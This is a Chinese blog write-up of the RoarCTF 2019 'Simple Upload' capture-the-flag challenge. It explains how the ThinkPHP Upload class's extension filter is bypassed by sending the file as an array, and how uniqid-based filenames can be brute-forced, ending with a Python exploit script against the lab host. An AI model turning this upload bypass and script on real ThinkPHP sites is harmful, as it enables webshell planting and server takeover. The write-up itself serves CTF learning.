• [RoarCTF 2019]Simple Upload


    知识点

    thinkphp路由默认上传路径
    thinkphp upload类错误使用导致getshell

    审题

    贴上源码

    <?php
    namespace HomeController;
    
    use ThinkController;
    
    class IndexController extends Controller
    {
        public function index()
        {
            show_source(__FILE__);
        }
        public function upload()
        {
            $uploadFile = $_FILES['file'] ;
            
            if (strstr(strtolower($uploadFile['name']), ".php") ) {
                return false;
            }
            
            $upload = new ThinkUpload();// 实例化上传类
            $upload->maxSize  = 4096 ;// 设置附件上传大小
            $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
            $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
            $upload->savePath = '';// 设置附件上传子目录
            $info = $upload->upload() ;
            if(!$info) {// 上传错误提示错误信息
              $this->error($upload->getError());
              return;
            }else{// 上传成功 获取上传文件信息
              $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
              echo json_encode(array("url"=>$url,"success"=>1));
            }
        }
    }
    

    第一次做这种类型的题 就挺懵的 蛤 还能没有上传按钮的上传吗 而且这写的是个啥 后来经过dalao(手动艾特我的另一个大哥石师傅)的指点 算是理清楚了这道题的知识点 下面一个个来

    THINKPHP路由

    首先这道题其实是定义了一个路由(路由器) 什么是路由 可以看一下tp的操作手册 路由简单来说可以起到一个重定向的作用 这样既可以隐藏真实物理路径 也可以减少服务器文件夹的冗余 有个需要知道的知识点就是 在路由里 默认的上传文件路径是/home/index/upload 但是这题有一个坑 如果我们输url+/home/index/upload的话 会404
    (nmdwsm当时搞了好久都是因为这个坑)
    这里来解释一下 下面引用一个dalao的博客

    而默认的上传路径也是相对index.php的目录 于是我们在路径前面加上index.php 我们就成功获得了上传需要的地址

    UPLOAD类的错误使用

    接下来的点是upload类的错误使用而导致的getshell 下面还是贴上tp的手册 我们知道 如果upload类在不含参的时候上传 是不会对文件进行过滤的 也就是会把整个$_FILE数组的文件都上传 但是上传时有个问题

    总共上传了三次 第一三次上传的是一个空的txt文件 可以看到的地址和文件名 然而如果上传一个不含参的文件时 他只会给你地址不会给你文件名 虽然传上去了但是连不上

    UNIQID

    UNIQID函数是根据当前计算机时间生成一个文件名的函数 这也是upload类调用的命名函数 也就是说 如果我们两个上传的文件在时间上够接近 那么他们的文件名就可以用爆破的方式跑出来 如果我们上传成功 那么当我们访问这个文件的时候 就会有正常回显 但是如果我们访问不到 就会404 也就是说可以根据这个进行爆破 爆破可以写python也可以直接用burpsuite

    EXP

    import requests
    url = 'http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/index.php/Home/index/upload'
    file1 = {'file':open('C:\users\20719\desktop\1.txt','r')}
    file2 = {'file[]':open('C:\users\20719\desktop\php.php','r')}
    file3 = {'file':open('C:\users\20719\desktop\1.txt','r')}
    r=requests.post(url,files=file1)
    print(r.text)
    r=requests.post(url,files=file2)
    print(r.text)
    r=requests.post(url,files=file3)
    print(r.text)
    dir='abcdefghijklmnopqrstuvwxyz0123456789'
    for i in dir:
        for j in dir:
            for x in dir:
                for y in dir:
                    for z in dir:
                        url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z)
                        r = requests.get(url)
                        print(url)
                        if r.status_code== 200:
                            print(url)
                            break
    
    

    EOF

  • 相关阅读:
    Cocos Creator 镜头跟随(cc.follow)
    Cocos Creator 虚拟摇杆
    Creator Cocos 获取舞台尺寸 (屏幕大小)
    Cocos Creator中的计时器 (setTimeOut ,setInterval,Schedule )
    Cocos Creator Touch_End的触发条件 (Mouse事件)
    Cocos Creator Spine骨骼动画 (局部换装、全局换装)
    Cocos Creator 粒子效果
    Cocos Creator 的Http和WebSocket
    Android中图表AChartEngine学习使用与例子
    Android应用加入微信分享
  • 原文地址:https://www.cnblogs.com/zhwyyswdg/p/14086311.html
Copyright © 2020-2023  润新知